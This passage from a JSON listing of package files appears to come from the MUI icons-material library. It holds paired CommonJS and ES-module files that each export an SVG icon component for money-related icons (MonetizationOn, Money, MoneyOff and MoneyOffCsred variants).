    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.31-8.86c-1.77-.45-2.34-.94-2.34-1.67 0-.84.79-1.43 2.1-1.43 1.38 0 1.9.66 1.94 1.64h1.71c-.05-1.34-.87-2.57-2.49-2.97V5H10.9v1.69c-1.51.32-2.72 1.3-2.72 2.81 0 1.79 1.49 2.69 3.66 3.21 1.95.46 2.34 1.15 2.34 1.87 0 .53-.39 1.39-2.1 1.39-1.6 0-2.23-.72-2.32-1.64H8.04c.1 1.7 1.36 2.66 2.86 2.97V19h2.34v-1.67c1.52-.29 2.72-1.16 2.73-2.77-.01-2.2-1.9-2.96-3.66-3.42\"\n}), 'MonetizationOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.41 16.09v.58c0 .73-.6 1.33-1.33 1.33h-.01c-.73 0-1.33-.6-1.33-1.33v-.6c-1.33-.28-2.51-1.01-3.01-2.24-.23-.55.2-1.16.8-1.16h.24c.37 0 .67.25.81.6.29.75 1.05 1.27 2.51 1.27 1.96 0 2.4-.98 2.4-1.59 0-.83-.44-1.61-2.67-2.14-2.48-.6-4.18-1.62-4.18-3.67 0-1.72 1.39-2.84 3.11-3.21v-.6c0-.73.6-1.33 1.33-1.33h.01c.73 0 1.33.6 1.33 1.33v.62c1.38.34 2.25 1.2 2.63 2.26.2.55-.22 1.13-.81 1.13h-.26c-.37 0-.67-.26-.77-.62-.23-.76-.86-1.25-2.12-1.25-1.5 0-2.4.68-2.4 1.64 0 .84.65 1.39 2.67 1.91s4.18 1.39 4.18 3.91c-.02 1.83-1.39 2.83-3.13 3.16\"\n}), 'MonetizationOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.41 16.09v.58c0 .73-.6 1.33-1.33 1.33h-.01c-.73 0-1.33-.6-1.33-1.33v-.6c-1.33-.28-2.51-1.01-3.01-2.24-.23-.55.2-1.16.8-1.16h.24c.37 0 .67.25.81.6.29.75 1.05 1.27 2.51 1.27 1.96 0 2.4-.98 2.4-1.59 0-.83-.44-1.61-2.67-2.14-2.48-.6-4.18-1.62-4.18-3.67 0-1.72 1.39-2.84 3.11-3.21v-.6c0-.73.6-1.33 1.33-1.33h.01c.73 0 1.33.6 1.33 1.33v.62c1.38.34 2.25 1.2 2.63 2.26.2.55-.22 1.13-.81 1.13h-.26c-.37 0-.67-.26-.77-.62-.23-.76-.86-1.25-2.12-1.25-1.5 0-2.4.68-2.4 1.64 0 .84.65 1.39 2.67 1.91s4.18 1.39 4.18 3.91c-.02 1.83-1.39 2.83-3.13 3.16\"\n}), 'MonetizationOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.41 16.09V20h-2.67v-1.93c-1.71-.36-3.16-1.46-3.27-3.4h1.96c.1 1.05.82 1.87 2.65 1.87 1.96 0 2.4-.98 2.4-1.59 0-.83-.44-1.61-2.67-2.14-2.48-.6-4.18-1.62-4.18-3.67 0-1.72 1.39-2.84 3.11-3.21V4h2.67v1.95c1.86.45 2.79 1.86 2.85 3.39H14.3c-.05-1.11-.64-1.87-2.22-1.87-1.5 0-2.4.68-2.4 1.64 0 .84.65 1.39 2.67 1.91s4.18 1.39 4.18 3.91c-.01 1.83-1.38 2.83-3.12 3.16\"\n}), 'MonetizationOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1.41 16.09V20h-2.67v-1.93c-1.71-.36-3.16-1.46-3.27-3.4h1.96c.1 1.05.82 1.87 2.65 1.87 1.96 0 2.4-.98 2.4-1.59 0-.83-.44-1.61-2.67-2.14-2.48-.6-4.18-1.62-4.18-3.67 0-1.72 1.39-2.84 3.11-3.21V4h2.67v1.95c1.86.45 2.79 1.86 2.85 3.39H14.3c-.05-1.11-.64-1.87-2.22-1.87-1.5 0-2.4.68-2.4 1.64 0 .84.65 1.39 2.67 1.91s4.18 1.39 4.18 3.91c-.01 1.83-1.38 2.83-3.12 3.16\"\n}), 'MonetizationOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1.23 13.33V19H10.9v-1.69c-1.5-.31-2.77-1.28-2.86-2.97h1.71c.09.92.72 1.64 2.32 1.64 1.71 0 2.1-.86 2.1-1.39 0-.73-.39-1.41-2.34-1.87-2.17-.53-3.66-1.42-3.66-3.21 0-1.51 1.22-2.48 2.72-2.81V5h2.34v1.71c1.63.39 2.44 1.63 2.49 2.97h-1.71c-.04-.97-.56-1.64-1.94-1.64-1.31 0-2.1.59-2.1 1.43 0 .73.57 1.22 2.34 1.67 1.77.46 3.66 1.22 3.66 3.42-.01 1.6-1.21 2.48-2.74 2.77\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.31-8.86c-1.77-.45-2.34-.94-2.34-1.67 0-.84.79-1.43 2.1-1.43 1.38 0 1.9.66 1.94 1.64h1.71c-.05-1.34-.87-2.57-2.49-2.97V5H10.9v1.69c-1.51.32-2.72 1.3-2.72 2.81 0 1.79 1.49 2.69 3.66 3.21 1.95.46 2.34 1.15 2.34 1.87 0 .53-.39 1.39-2.1 1.39-1.6 0-2.23-.72-2.32-1.64H8.04c.1 1.7 1.36 2.66 2.86 2.97V19h2.34v-1.67c1.52-.29 2.72-1.16 2.73-2.77-.01-2.2-1.9-2.96-3.66-3.42\"\n}, \"1\")], 'MonetizationOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonetizationOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1.23 13.33V19H10.9v-1.69c-1.5-.31-2.77-1.28-2.86-2.97h1.71c.09.92.72 1.64 2.32 1.64 1.71 0 2.1-.86 2.1-1.39 0-.73-.39-1.41-2.34-1.87-2.17-.53-3.66-1.42-3.66-3.21 0-1.51 1.22-2.48 2.72-2.81V5h2.34v1.71c1.63.39 2.44 1.63 2.49 2.97h-1.71c-.04-.97-.56-1.64-1.94-1.64-1.31 0-2.1.59-2.1 1.43 0 .73.57 1.22 2.34 1.67 1.77.46 3.66 1.22 3.66 3.42-.01 1.6-1.21 2.48-2.74 2.77\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m.31-8.86c-1.77-.45-2.34-.94-2.34-1.67 0-.84.79-1.43 2.1-1.43 1.38 0 1.9.66 1.94 1.64h1.71c-.05-1.34-.87-2.57-2.49-2.97V5H10.9v1.69c-1.51.32-2.72 1.3-2.72 2.81 0 1.79 1.49 2.69 3.66 3.21 1.95.46 2.34 1.15 2.34 1.87 0 .53-.39 1.39-2.1 1.39-1.6 0-2.23-.72-2.32-1.64H8.04c.1 1.7 1.36 2.66 2.86 2.97V19h2.34v-1.67c1.52-.29 2.72-1.16 2.73-2.77-.01-2.2-1.9-2.96-3.66-3.42\"\n}, \"1\")], 'MonetizationOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Money.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 8h2v8H5zm7 0H9c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 6h-1v-4h1zm7-6h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 6h-1v-4h1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm2 14V6h16v12z\"\n}, \"1\")], 'Money');"
  },
  {
    "path": "packages/mui-icons-material/lib/Money.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 8h2v8H5zm7 0H9c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 6h-1v-4h1zm7-6h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 6h-1v-4h1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm2 14V6h16v12z\"\n}, \"1\")], 'Money');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.53.12-1.03.3-1.48.54l1.47 1.47c.41-.17.91-.27 1.51-.27M5.33 4.06 4.06 5.33 7.5 8.77c0 2.08 1.56 3.21 3.91 3.91l3.51 3.51c-.34.48-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.82-.55 2.45-1.12l2.22 2.22 1.27-1.27z\"\n}), 'MoneyOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.53.12-1.03.3-1.48.54l1.47 1.47c.41-.17.91-.27 1.51-.27M5.33 4.06 4.06 5.33 7.5 8.77c0 2.08 1.56 3.21 3.91 3.91l3.51 3.51c-.34.48-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.82-.55 2.45-1.12l2.22 2.22 1.27-1.27z\"\n}), 'MoneyOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsred.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.53 7.43c.42-.31.93-.47 1.54-.47s1.11.16 1.5.49c.39.32.65.7.79 1.12l1.89-.8c-.24-.71-.71-1.35-1.4-1.92-.5-.4-1.12-.65-1.85-.77V3h-2v2.11q-.615.12-1.14.39c-.35.18-.64.39-.9.63l1.43 1.43c.04-.04.09-.09.14-.13M2.81 2.81 1.39 4.22l12.35 12.35c-.43.28-.95.43-1.55.43-.71 0-1.32-.23-1.83-.7-.5-.47-.86-1.07-1.06-1.81l-1.98.8q.51 1.755 1.83 2.73c.57.42 1.19.68 1.85.83V21h2v-2.08c.44-.07.87-.17 1.29-.35.34-.14.64-.32.92-.53l4.57 4.57 1.41-1.41z\"\n}), 'MoneyOffCsred');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsred.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.53 7.43c.42-.31.93-.47 1.54-.47s1.11.16 1.5.49c.39.32.65.7.79 1.12l1.89-.8c-.24-.71-.71-1.35-1.4-1.92-.5-.4-1.12-.65-1.85-.77V3h-2v2.11q-.615.12-1.14.39c-.35.18-.64.39-.9.63l1.43 1.43c.04-.04.09-.09.14-.13M2.81 2.81 1.39 4.22l12.35 12.35c-.43.28-.95.43-1.55.43-.71 0-1.32-.23-1.83-.7-.5-.47-.86-1.07-1.06-1.81l-1.98.8q.51 1.755 1.83 2.73c.57.42 1.19.68 1.85.83V21h2v-2.08c.44-.07.87-.17 1.29-.35.34-.14.64-.32.92-.53l4.57 4.57 1.41-1.41z\"\n}), 'MoneyOffCsred');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsredOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffCsredOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsredOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffCsredOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsredRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.42 0 2.13.54 2.39 1.4.13.43.56.7 1.01.7h.06c.7 0 1.22-.71.97-1.36-.44-1.15-1.41-2.08-2.93-2.45V4.5c0-.83-.67-1.5-1.5-1.5S11 3.67 11 4.5v.66c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M4.77 4.62c-.39.39-.39 1.02 0 1.41L7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-1.65 0-2.5-.59-2.83-1.43-.15-.39-.49-.67-.9-.67H8.6c-.72 0-1.24.74-.95 1.39.59 1.33 1.89 2.12 3.36 2.44v.67c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-.65c.96-.18 1.83-.55 2.46-1.12l1.51 1.51c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L6.18 4.62a.996.996 0 0 0-1.41 0\"\n}), 'MoneyOffCsredRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsredRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.42 0 2.13.54 2.39 1.4.13.43.56.7 1.01.7h.06c.7 0 1.22-.71.97-1.36-.44-1.15-1.41-2.08-2.93-2.45V4.5c0-.83-.67-1.5-1.5-1.5S11 3.67 11 4.5v.66c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M4.77 4.62c-.39.39-.39 1.02 0 1.41L7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-1.65 0-2.5-.59-2.83-1.43-.15-.39-.49-.67-.9-.67H8.6c-.72 0-1.24.74-.95 1.39.59 1.33 1.89 2.12 3.36 2.44v.67c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-.65c.96-.18 1.83-.55 2.46-1.12l1.51 1.51c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L6.18 4.62a.996.996 0 0 0-1.41 0\"\n}), 'MoneyOffCsredRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsredSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffCsredSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsredSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffCsredSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsredTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffCsredTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffCsredTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffCsredTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.42 0 2.13.54 2.39 1.4.13.43.56.7 1.01.7h.06c.7 0 1.22-.71.97-1.36-.44-1.15-1.41-2.08-2.93-2.45V4.5c0-.83-.67-1.5-1.5-1.5S11 3.67 11 4.5v.66c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M4.77 4.62c-.39.39-.39 1.02 0 1.41L7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-1.65 0-2.5-.59-2.83-1.43-.15-.39-.49-.67-.9-.67H8.6c-.72 0-1.24.74-.95 1.39.59 1.33 1.89 2.12 3.36 2.44v.67c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-.65c.96-.18 1.83-.55 2.46-1.12l1.51 1.51c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L6.18 4.62a.996.996 0 0 0-1.41 0\"\n}), 'MoneyOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffRounded.mjs",
